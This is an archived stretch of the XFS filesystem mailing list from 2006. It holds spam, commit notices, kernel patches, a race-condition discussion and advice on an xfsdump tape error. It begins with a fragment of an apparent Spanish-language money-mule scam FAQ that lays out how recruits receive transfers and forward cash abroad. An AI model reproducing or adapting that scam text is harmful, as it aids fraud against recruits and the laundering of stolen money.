P15: ¿Trabajan solamente en los EE. UU.? R: No, trabajamos con Australia, Gran Bretaña, Europa. P13. Por favor, denme un ejemplo del proceso del trabajo. R: 1. Un Comprador de su país encuentra una Compañía en Londres, GB (por ejemplo) y quiere comprar algo. 2. La Compañía nos pide a un gestor en su país y le encontramos a Usted. 3. Le damos al Comprador sus detalles de banco para que le haga la transferencia. 4. El Comprador le envia el pago y nos notifica. 5. Nosotros notificamos a la Compañía de que el pago ha sido hecho. 6. La Compañía nos da el nombre y apellidos de su representante quien debe recibir el dinero. Por ejemplo, Nombre Apellidos en Londres, GB. 7. Le enviamos a Usted un email: Una transferencia de dinero ha sido enviada a Usted. La suma es XXXX USD. Envielo a Nombre Apellidos en Londres, GB. 8. Usted saca el efectivo y lo envia a Nombre Apellidos en Londres, GB. 9. Nos envia el recibo de la transferencia. 10. Se lo damos a la Compañía y ellos reciben el dinero. P14: ¿Tienen algún certificado o licencia? R: Si, tenemos todos los documentos requiridos y estamos dispuestos a proporcionarselos en cuanto rellene el primer formulario. From owner-xfs@oss.sgi.com Wed Oct 18 18:24:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 18:24:57 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9J1ObaG021510 for ; Wed, 18 Oct 2006 18:24:38 -0700 X-ASG-Debug-ID: 1161221033-23977-521-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from c2bthomr09.btconnect.com (c2bthomr09.btconnect.com [194.73.73.225]) by cuda.sgi.com (Spam Firewall) with ESMTP id ED018D19A2F0 for ; Wed, 18 Oct 2006 18:23:53 -0700 (PDT) Received: from [192.168.254.1] (host86-141-152-174.range86-141.btcentralplus.com [86.141.152.174]) by c2bthomr09.btconnect.com (MOS 3.7.4b-GA) with SMTP id BHB13590; Thu, 19 Oct 2006 02:18:28 +0100 (BST) MIME-Version: 1.0 Message-Id: <7A4AE68C5F1011DB924D0030659B0A9E@btconnect.com> Date: Thu, 19 Oct 2006 02:23:51 +0100 To: From: ItaliaUK X-ASG-Orig-Subj: Grow your Business with Italia UK Subject: Grow your Business with Italia UK X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23567 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 626 X-archive-position: 9349 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: italiauk@btconnect.com Precedence: bulk X-list: xfs Status: O Business to Business News Alerts If you are unable to view this email then please set your email software to read Enriched HTML emails. If you are unable to do this then please enter the following URL into your web browser, either by pasting it in directly or by entering it manually: http://italiauk.net/email_alerts/pr_mail_161006-2.htm Should you wish to contact Italia UK Ltd, then please call us on 0161 976 1212 or visit our website direct at http://www.italiauk.net If you have received this Business to Business email in error please accept our apologies. The Italia UK Team. [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Wed Oct 18 18:35:09 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 18:35:20 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9J1Z6aG023235 for ; Wed, 18 Oct 2006 18:35:08 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA03950; Thu, 19 Oct 2006 11:34:18 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9J1YH7Y11072385; Thu, 19 Oct 2006 11:34:18 +1000 (AEST) Received: (from bnaujok@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9J1YGGc11073613; Thu, 19 Oct 2006 11:34:16 +1000 (AEST) Date: Thu, 19 Oct 2006 11:34:16 +1000 (AEST) From: Barry Naujok Message-Id: <200610190134.k9J1YGGc11073613@snort.melbourne.sgi.com> To: sgi.bugs.xfs@engr.sgi.com Cc: xfs@oss.sgi.com Subject: TAKE 957164 - X-archive-position: 9350 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: bnaujok@snort.melbourne.sgi.com Precedence: bulk X-list: xfs Status: O Fix up prefetched v1 inode nlink check and repair in xfs_repair Date: Thu Oct 19 11:33:46 AEST 2006 Workarea: snort.melbourne.sgi.com:/home/bnaujok/isms/repair Inspected by: mvalluri@sgi.com The following file(s) were checked into: longdrop.melbourne.sgi.com:/isms/xfs-cmds/master-melb Modid: master-melb:xfs-cmds:27235a xfsprogs/repair/phase7.c - 1.14 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/repair/phase7.c.diff?r1=text&tr1=1.14&r2=text&tr2=1.13&f=h - pv:957164 Fix up prefetched v1 inode nlink check and repair in xfs_repair From owner-xfs@oss.sgi.com Wed Oct 18 18:40:27 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 18:40:33 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9J1eNaG024608 for ; Wed, 18 Oct 2006 18:40:26 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA04096; Thu, 19 Oct 2006 11:39:37 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9J1da7Y11075052; Thu, 19 Oct 2006 11:39:36 +1000 (AEST) Received: (from bnaujok@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9J1dYUV11075412; Thu, 19 Oct 2006 11:39:34 +1000 (AEST) Date: Thu, 19 Oct 2006 11:39:34 +1000 (AEST) From: Barry Naujok Message-Id: <200610190139.k9J1dYUV11075412@snort.melbourne.sgi.com> To: sgi.bugs.xfs@engr.sgi.com Cc: xfs@oss.sgi.com Subject: TAKE 957194 - Fix LEAFN node level is 1 bogus warning in xfs_repair X-archive-position: 9351 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: bnaujok@snort.melbourne.sgi.com Precedence: bulk X-list: xfs Status: O Date: Thu Oct 19 11:38:43 AEST 2006 Workarea: snort.melbourne.sgi.com:/home/bnaujok/isms/repair Inspected by: roger@filmlight.ltd.uk The following file(s) were checked into: longdrop.melbourne.sgi.com:/isms/xfs-cmds/master-melb Modid: master-melb:xfs-cmds:27238a xfsprogs/VERSION - 1.165 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/VERSION.diff?r1=text&tr1=1.165&r2=text&tr2=1.164&f=h xfsprogs/doc/CHANGES - 1.223 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/doc/CHANGES.diff?r1=text&tr1=1.223&r2=text&tr2=1.222&f=h - Bump version to 2.8.15 xfsprogs/repair/dir2.c - 1.20 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/repair/dir2.c.diff?r1=text&tr1=1.20&r2=text&tr2=1.19&f=h - pv:957194 Fix LEAFN node level is 1 bogus warning in xfs_repair From owner-xfs@oss.sgi.com Wed Oct 18 19:02:10 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 19:02:16 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9J229aG028220 for ; Wed, 18 Oct 2006 19:02:10 -0700 X-ASG-Debug-ID: 1161223286-17258-73-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id BF9B0D198E17 for ; Wed, 18 Oct 2006 19:01:26 -0700 (PDT) Received: by sandeen.net (Postfix, from userid 500) id 25D9718D90452; Wed, 18 Oct 2006 21:01:25 -0500 (CDT) To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH] remove old irix log replay cases Subject: [PATCH] remove old irix log replay cases Message-Id: <20061019020125.25D9718D90452@sandeen.net> Date: Wed, 18 Oct 2006 21:01:25 -0500 (CDT) From: sandeen@sandeen.net X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23567 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name X-archive-position: 9352 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O I think the irix 5.3 and 6.1 log handling can go, since linux refuses outright to do anything with irix-style logs, no? The remaining single-case switch statements might be a little odd, but I suppose that they still show there's flexibility for log format... Maybe the #defines could stay, or at least as comments, for hysterical raisins... -Eric xfs_buf_item.h | 18 ---------------- xfs_log_recover.c | 58 +----------------------------------------------------- xfs_trans.h | 4 --- 3 files changed, 3 insertions(+), 77 deletions(-) Signed-off-by: Eric Sandeen Index: xfs-linux-allpatches/xfs_buf_item.h =================================================================== --- xfs-linux-allpatches.orig/xfs_buf_item.h +++ xfs-linux-allpatches/xfs_buf_item.h @@ -21,23 +21,7 @@ /* * This is the structure used to lay out a buf log item in the * log. The data map describes which 128 byte chunks of the buffer - * have been logged. This structure works only on buffers that - * reside up to the first TB in the filesystem. These buffers are - * generated only by pre-6.2 systems and are known as XFS_LI_6_1_BUF. - */ -typedef struct xfs_buf_log_format_v1 { - unsigned short blf_type; /* buf log item type indicator */ - unsigned short blf_size; /* size of this item */ - __int32_t blf_blkno; /* starting blkno of this buf */ - ushort blf_flags; /* misc state */ - ushort blf_len; /* number of blocks in this buf */ - unsigned int blf_map_size; /* size of data bitmap in words */ - unsigned int blf_data_map[1];/* variable size bitmap of */ - /* regions of buffer in this item */ -} xfs_buf_log_format_v1_t; - -/* - * This is a form of the above structure with a 64 bit blkno field. + * have been logged. * For 6.2 and beyond, this is XFS_LI_BUF. We use this to log everything. */ typedef struct xfs_buf_log_format_t { Index: xfs-linux-allpatches/xfs_log_recover.c =================================================================== --- xfs-linux-allpatches.orig/xfs_log_recover.c +++ xfs-linux-allpatches/xfs_log_recover.c @@ -1514,7 +1514,6 @@ xlog_recover_reorder_trans( { xlog_recover_item_t *first_item, *itemq, *itemq_next; xfs_buf_log_format_t *buf_f; - xfs_buf_log_format_v1_t *obuf_f; ushort flags = 0; first_item = itemq = trans->r_itemq; @@ -1522,29 +1521,16 @@ xlog_recover_reorder_trans( do { itemq_next = itemq->ri_next; buf_f = (xfs_buf_log_format_t *)itemq->ri_buf[0].i_addr; - switch (ITEM_TYPE(itemq)) { - case XFS_LI_BUF: - flags = buf_f->blf_flags; - break; - case XFS_LI_6_1_BUF: - case XFS_LI_5_3_BUF: - obuf_f = (xfs_buf_log_format_v1_t*)buf_f; - flags = obuf_f->blf_flags; - break; - } switch (ITEM_TYPE(itemq)) { case XFS_LI_BUF: - case XFS_LI_6_1_BUF: - case XFS_LI_5_3_BUF: + flags = buf_f->blf_flags; if (!(flags & XFS_BLI_CANCEL)) { xlog_recover_insert_item_frontq(&trans->r_itemq, itemq); break; } case XFS_LI_INODE: - case XFS_LI_6_1_INODE: - case XFS_LI_5_3_INODE: case XFS_LI_DQUOT: case XFS_LI_QUOTAOFF: case XFS_LI_EFD: @@ -1583,7 +1569,6 @@ xlog_recover_do_buffer_pass1( xfs_buf_cancel_t *nextp; xfs_buf_cancel_t *prevp; xfs_buf_cancel_t **bucket; - xfs_buf_log_format_v1_t *obuf_f; xfs_daddr_t blkno = 0; uint len = 0; ushort flags = 0; @@ -1594,13 +1579,6 @@ xlog_recover_do_buffer_pass1( len = buf_f->blf_len; flags = buf_f->blf_flags; break; - case XFS_LI_6_1_BUF: - case XFS_LI_5_3_BUF: - obuf_f = (xfs_buf_log_format_v1_t*)buf_f; - blkno = (xfs_daddr_t) obuf_f->blf_blkno; - len = obuf_f->blf_len; - flags = obuf_f->blf_flags; - break; } /* @@ -1746,7 +1724,6 @@ xlog_recover_do_buffer_pass2( xlog_t *log, xfs_buf_log_format_t *buf_f) { - xfs_buf_log_format_v1_t *obuf_f; xfs_daddr_t blkno = 0; ushort flags = 0; uint len = 0; @@ -1757,13 +1734,6 @@ xlog_recover_do_buffer_pass2( flags = buf_f->blf_flags; len = buf_f->blf_len; break; - case XFS_LI_6_1_BUF: - case XFS_LI_5_3_BUF: - obuf_f = (xfs_buf_log_format_v1_t*)buf_f; - blkno = (xfs_daddr_t) obuf_f->blf_blkno; - flags = obuf_f->blf_flags; - len = (xfs_daddr_t) obuf_f->blf_len; - break; } return xlog_check_buffer_cancelled(log, blkno, len, flags); @@ -1799,7 +1769,6 @@ xlog_recover_do_inode_buffer( int inodes_per_buf; xfs_agino_t *logged_nextp; xfs_agino_t *buffer_nextp; - xfs_buf_log_format_v1_t *obuf_f; unsigned int *data_map = NULL; unsigned int map_size = 0; @@ -1808,12 +1777,6 @@ xlog_recover_do_inode_buffer( data_map = buf_f->blf_data_map; map_size = buf_f->blf_map_size; break; - case XFS_LI_6_1_BUF: - case XFS_LI_5_3_BUF: - obuf_f = (xfs_buf_log_format_v1_t*)buf_f; - data_map = obuf_f->blf_data_map; - map_size = obuf_f->blf_map_size; - break; } /* * Set the variables corresponding to the current region to @@ -1912,7 +1875,6 @@ xlog_recover_do_reg_buffer( int i; int bit; int nbits; - xfs_buf_log_format_v1_t *obuf_f; unsigned int *data_map = NULL; unsigned int map_size = 0; int error; @@ -1922,12 +1884,6 @@ xlog_recover_do_reg_buffer( data_map = buf_f->blf_data_map; map_size = buf_f->blf_map_size; break; - case XFS_LI_6_1_BUF: - case XFS_LI_5_3_BUF: - obuf_f = (xfs_buf_log_format_v1_t*)buf_f; - data_map = obuf_f->blf_data_map; - map_size = obuf_f->blf_map_size; - break; } bit = 0; i = 1; /* 0 is the buf format structure */ @@ -2160,7 +2116,6 @@ xlog_recover_do_buffer_trans( int pass) { xfs_buf_log_format_t *buf_f; - xfs_buf_log_format_v1_t *obuf_f; xfs_mount_t *mp; xfs_buf_t *bp; int error; @@ -2197,13 +2152,6 @@ xlog_recover_do_buffer_trans( len = buf_f->blf_len; flags = buf_f->blf_flags; break; - case XFS_LI_6_1_BUF: - case XFS_LI_5_3_BUF: - obuf_f = (xfs_buf_log_format_v1_t*)buf_f; - blkno = obuf_f->blf_blkno; - len = obuf_f->blf_len; - flags = obuf_f->blf_flags; - break; default: xfs_fs_cmn_err(CE_ALERT, log->l_mp, "xfs_log_recover: unknown buffer type 0x%x, logdev %s", @@ -2830,9 +2778,7 @@ xlog_recover_do_trans( * where xfs_daddr_t is 32-bits but mount will warn us * off a > 1 TB filesystem before we get here. */ - if ((ITEM_TYPE(item) == XFS_LI_BUF) || - (ITEM_TYPE(item) == XFS_LI_6_1_BUF) || - (ITEM_TYPE(item) == XFS_LI_5_3_BUF)) { + if ((ITEM_TYPE(item) == XFS_LI_BUF)) { if ((error = xlog_recover_do_buffer_trans(log, item, pass))) break; Index: xfs-linux-allpatches/xfs_trans.h =================================================================== --- xfs-linux-allpatches.orig/xfs_trans.h +++ xfs-linux-allpatches/xfs_trans.h @@ -39,13 +39,9 @@ typedef struct xfs_trans_header { /* * Log item types. */ -#define XFS_LI_5_3_BUF 0x1234 /* v1 bufs, 1-block inode buffers */ -#define XFS_LI_5_3_INODE 0x1235 /* 1-block inode buffers */ #define XFS_LI_EFI 0x1236 #define XFS_LI_EFD 0x1237 #define XFS_LI_IUNLINK 0x1238 -#define XFS_LI_6_1_INODE 0x1239 /* 4K non-aligned inode bufs */ -#define XFS_LI_6_1_BUF 0x123a /* v1, 4K inode buffers */ #define XFS_LI_INODE 0x123b /* aligned ino chunks, var-size ibufs */ #define XFS_LI_BUF 0x123c /* v2 bufs, variable sized inode bufs */ #define XFS_LI_DQUOT 0x123d From owner-xfs@oss.sgi.com Wed Oct 18 19:24:13 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 19:24:22 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9J2OCaG031816 for ; Wed, 18 Oct 2006 19:24:13 -0700 X-ASG-Debug-ID: 1161224600-7461-354-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from tyo201.gate.nec.co.jp (TYO201.gate.nec.co.jp [202.32.8.193]) by cuda.sgi.com (Spam Firewall) with ESMTP id 878A94B2D49; Wed, 18 Oct 2006 19:23:20 -0700 (PDT) Received: from mailgate3.nec.co.jp (mailgate53.nec.co.jp [10.7.69.192]) by tyo201.gate.nec.co.jp (8.13.8/8.13.4) with ESMTP id k9J2NJwU012439; Thu, 19 Oct 2006 11:23:19 +0900 (JST) Received: (from root@localhost) by mailgate3.nec.co.jp (8.11.7/3.7W-MAILGATE-NEC) id k9J2NJ403714; Thu, 19 Oct 2006 11:23:19 +0900 (JST) Received: from mailsv.linux.bs1.fc.nec.co.jp (mailsv.linux.bs1.fc.nec.co.jp [10.34.125.2]) by mailsv.nec.co.jp (8.11.7/3.7W-MAILSV-NEC) with ESMTP id k9J2NIc05436; Thu, 19 Oct 2006 11:23:18 +0900 (JST) Received: from [10.34.125.197] (johnny.linux.bs1.fc.nec.co.jp [10.34.125.197]) by mailsv.linux.bs1.fc.nec.co.jp (Postfix) with ESMTP id 54E28E48258; Thu, 19 Oct 2006 11:23:03 +0900 (JST) Message-ID: <4536E186.5040301@ah.jp.nec.com> Date: Thu, 19 Oct 2006 11:23:02 +0900 From: Takenori Nagano User-Agent: Thunderbird 1.5.0.7 (Windows/20060909) MIME-Version: 1.0 To: David Chinner CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> <20061011064357.GN19345@melbourne.sgi.com> <452E32FF.8010109@ah.jp.nec.com> <20061013014651.GC19345@melbourne.sgi.com> <452F83BD.8050501@ah.jp.nec.com> <20061017020218.GE8394166@melbourne.sgi.com> <20061018023325.GL8394166@melbourne.sgi.com> <20061018090701.GU11034@melbourne.sgi.com> In-Reply-To: <20061018090701.GU11034@melbourne.sgi.com> Content-Type: multipart/mixed; boundary="------------020703010704010900070501" X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23566 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9353 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: t-nagano@ah.jp.nec.com Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. --------------020703010704010900070501 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Hi David, I'm testing your three patches. I am not seeing any degradation with your patches. But I think the patch that I attach to this mail is necessary. Isn't it? David Chinner wrote: > On Wed, Oct 18, 2006 at 12:33:25PM +1000, David Chinner wrote: >> On Tue, Oct 17, 2006 at 12:02:18PM +1000, David Chinner wrote: >>> So, here's another patch that doesn't have the performance problems, >>> but removes the iput/igrab while still (I think) fixing the use >>> after free problem. Can you try this one out, Takenori? I've >>> run it through some stress tests and haven't been able to trigger >>> problems. >> I just hit the BUG_ON(vp == NULL) that I put in xfs_iunpin() >> in this patch. The xfs inode had no link to the bhv_vnode, nor >> did it have either XFS_IRECLAIM* flag set, and hence it triggered >> the BUG. > > And again. The xfs_iget_core change is valid - there's still a > race in xfs_iunpin (how many of them can we find?): > > xfs_iunpin xfs_iget_core > if(atomic_dec_and_test(pincount)) > if (vp == NULL) > if(IRECLAIMABLE) > if(pincount) > force+restart > ..... > clear IRECLAIMABLE > > spin_lock(i_flags_lock) > If (IRECLAIMABLE) > BUG_ON(vp == NULL) > > > So the solution is this: > > --- > fs/xfs/xfs_inode.c | 3 +-- > 1 file changed, 1 insertion(+), 2 deletions(-) > > Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c > =================================================================== > --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-10-18 11:27:04.000000000 +1000 > +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-10-18 16:45:12.658102093 +1000 > @@ -2738,7 +2738,7 @@ xfs_iunpin( > { > ASSERT(atomic_read(&ip->i_pincount) > 0); > > - if (atomic_dec_and_test(&ip->i_pincount)) { > + if (atomic_dec_and_lock(&ip->i_pincount, &ip->i_flags_lock)) { > > /* > * If the inode is currently being reclaimed, the link between > @@ -2757,7 +2757,6 @@ xfs_iunpin( > * unpinned. > */ > > - spin_lock(&ip->i_flags_lock); > if (!__xfs_iflags_test(ip, XFS_IRECLAIM|XFS_IRECLAIMABLE)) { > bhv_vnode_t *vp = XFS_ITOV_NULL(ip); > struct inode *inode = NULL; > > I'm running stress tests on this now - it it survives until morning > I'll send out a new set of patches for testing... > > Cheers, > > Dave. -- +=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+ $B#N#E#C(B $B%3%s%T%e!<%?%=%U%H%&%'%";v6HK\It(B $B#O#S#S?d?J%;%s%?!<(B $B5;=Q3+H/#G(B $B1JLn(B $BIpB'(B (Takenori Nagano) TEL:8-23-57270(MyLine) 042-333-5383($B30@~(B) e-mail:t-nagano@ah.jp.nec.com +=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+ --------------020703010704010900070501 Content-Type: text/plain; name="xfs_idestroy.patch" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="xfs_idestroy.patch" ZGlmZiAtTmFydSBsaW51eC0yLjYuMTktcmMxL2ZzL3hmcy5vcmlnL3hmc19p bm9kZS5jIGxpbnV4LTIuNi4xOS1yYzEvZnMveGZzL3hmc19pbm9kZS5jCi0t LSBsaW51eC0yLjYuMTktcmMxL2ZzL3hmcy5vcmlnL3hmc19pbm9kZS5jCTIw MDYtMTAtMTkgMDE6NTE6NDMuMDIwMDAwMDAwICswOTAwCisrKyBsaW51eC0y LjYuMTktcmMxL2ZzL3hmcy94ZnNfaW5vZGUuYwkyMDA2LTEwLTE5IDAxOjUz OjQ3LjI0ODAwMDAwMCArMDkwMApAQCAtMjcxMyw2ICsyNzEzLDcgQEAKIAkJ ICAgICAgIFhGU19GT1JDRURfU0hVVERPV04oaXAtPmlfbW91bnQpKTsKIAkJ eGZzX2lub2RlX2l0ZW1fZGVzdHJveShpcCk7CiAJfQorCXhmc19pdW5waW5f d2FpdChpcCk7CiAJa21lbV96b25lX2ZyZWUoeGZzX2lub2RlX3pvbmUsIGlw KTsKIH0KIApAQCAtMjc4NCw3ICsyNzg1LDcgQEAKICAqIGJlIHN1YnNlcXVl bnRseSBwaW5uZWQgb25jZSBzb21lb25lIGlzIHdhaXRpbmcgZm9yIGl0IHRv IGJlCiAgKiB1bnBpbm5lZC4KICAqLwotU1RBVElDIHZvaWQKK3ZvaWQKIHhm c19pdW5waW5fd2FpdCgKIAl4ZnNfaW5vZGVfdAkqaXApCiB7CmRpZmYgLU5h cnUgbGludXgtMi42LjE5LXJjMS9mcy94ZnMub3JpZy94ZnNfaW5vZGUuaCBs aW51eC0yLjYuMTktcmMxL2ZzL3hmcy94ZnNfaW5vZGUuaAotLS0gbGludXgt Mi42LjE5LXJjMS9mcy94ZnMub3JpZy94ZnNfaW5vZGUuaAkyMDA2LTEwLTE5 IDAxOjUxOjQyLjk4MDAwMDAwMCArMDkwMAorKysgbGludXgtMi42LjE5LXJj MS9mcy94ZnMveGZzX2lub2RlLmgJMjAwNi0xMC0xOSAwMTo1MjoxNy45ODAw MDAwMDAgKzA5MDAKQEAgLTQ5OCw2ICs0OTgsNyBAQAogdm9pZAkJeGZzX2ly b290X3JlYWxsb2MoeGZzX2lub2RlX3QgKiwgaW50LCBpbnQpOwogdm9pZAkJ eGZzX2lwaW4oeGZzX2lub2RlX3QgKik7CiB2b2lkCQl4ZnNfaXVucGluKHhm c19pbm9kZV90ICopOwordm9pZAkJeGZzX2l1bnBpbl93YWl0KHhmc19pbm9k ZV90ICopOwogaW50CQl4ZnNfaWV4dGVudHNfY29weSh4ZnNfaW5vZGVfdCAq LCB4ZnNfYm1idF9yZWNfdCAqLCBpbnQpOwogaW50CQl4ZnNfaWZsdXNoKHhm c19pbm9kZV90ICosIHVpbnQpOwogdm9pZAkJeGZzX2lmbHVzaF9hbGwoc3Ry dWN0IHhmc19tb3VudCAqKTsK --------------020703010704010900070501-- From owner-xfs@oss.sgi.com Wed Oct 18 21:22:28 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 21:22:38 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9J4MNaG020153 for ; Wed, 18 Oct 2006 21:22:26 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA07753; Thu, 19 Oct 2006 14:21:35 +1000 Date: Thu, 19 Oct 2006 14:21:43 +1000 From: Timothy Shimmin To: John Cresswell , xfs@oss.sgi.com Subject: Re: Xfsdump error Message-ID: <80F9EC9DBCD1D89054F253DC@timothy-shimmins-power-mac-g5.local> In-Reply-To: <200610180935.k9I9ZKYD014552@smartpet.ph.liv.ac.uk> References: <200610180935.k9I9ZKYD014552@smartpet.ph.liv.ac.uk> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9354 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Hi John, --On 18 October 2006 10:35:20 AM +0100 John Cresswell wrote: > I hope sombody can help me with this problem. > I have had to physically move our server, and > though connections and tape drives are the same, backups no longer work. OOI, Did you change anything else? The kernel or st driver? What version of xfsdump? > The tape drive can be written and read OK using tar, for example, > but not using xfsdump. A truncated example follows ... > > xfsdump: using scsi tape (drive_scsitape) strategy ... > xfsdump: estimated dump size: 81317119424 bytes > xfsdump: estimated dump header size: 19318112 bytes > xfsdump: estimated component sizes: global hdr: 1337006139379712 bytes, inomap: 81616060935045120 > bytes, dir entries: 734544548415406080 bytes, file hdrs: 16395459996558557184 bytes, datasz: > 578909639576387602 bytes xfsdump: drive op: init hmmm, ridiculous size numbers but this wouldn't effect you I don't believe. > xfsdump: drive op: sync > xfsdump: Media op: begin media file > xfsdump: drive op: begin read > xfsdump: preparing drive > xfsdump: tape op: opening drive > xfsdump: tape op: get status > xfsdump: tape status = bot onl > xfsdump: tape op: get block size info > xfsdump: max=1048576 cur=0 > xfsdump: variable block size tape drive at /dev/st0 > xfsdump: tape op: get block size info > xfsdump: max=1048576 cur=0 > xfsdump: recommended tape media file size set to 0x7fffffffffffffff bytes > xfsdump: recommended tape media mark separation set to 0x1000000 bytes > xfsdump: determining tape record size: trying 1048576 (0x100000) bytes > xfsdump: tape op: get status > xfsdump: tape status = bot onl > xfsdump: tape positioned at BOT: doing redundant rewind > xfsdump: tape op: rewind 0 > xfsdump: tape op: get status > xfsdump: tape status = bot onl > xfsdump: tape op: reading 1048576 bytes > xfsdump: tape op read of 1048576 bytes failed: errno == 16 (Device or resource busy) > xfsdump: tape op: get status > xfsdump: tape status = onl > xfsdump: ERROR: unexpected tape error: errno 16 nread -1 blksz 1048576 recsz 1048576 isvar 1 > wasatbot 1 eod 0 fmk 0 eot 0 onl 1 wprot 0 ew 0 xfsdump: ERROR: unexpected error from > do_begin_read: 10 Looks like it is just doing a read of 1,048,576 bytes and failing with error 16. Although, after the read the tape is no longer at the start (BOT). IIRC, tar uses fairly small record sizes for I/O - 10K or so. Perhaps you could try dd'ing various size blocks from the tape and see what works. IIRC, Kai Makisara (scsi tape driver guy) later recommended using a block size of 256K (262144 bytes) - reckoned that was big enough for streaming. So you might like to try running with "-b 262144" for dump and restore. It may not be the size of the read 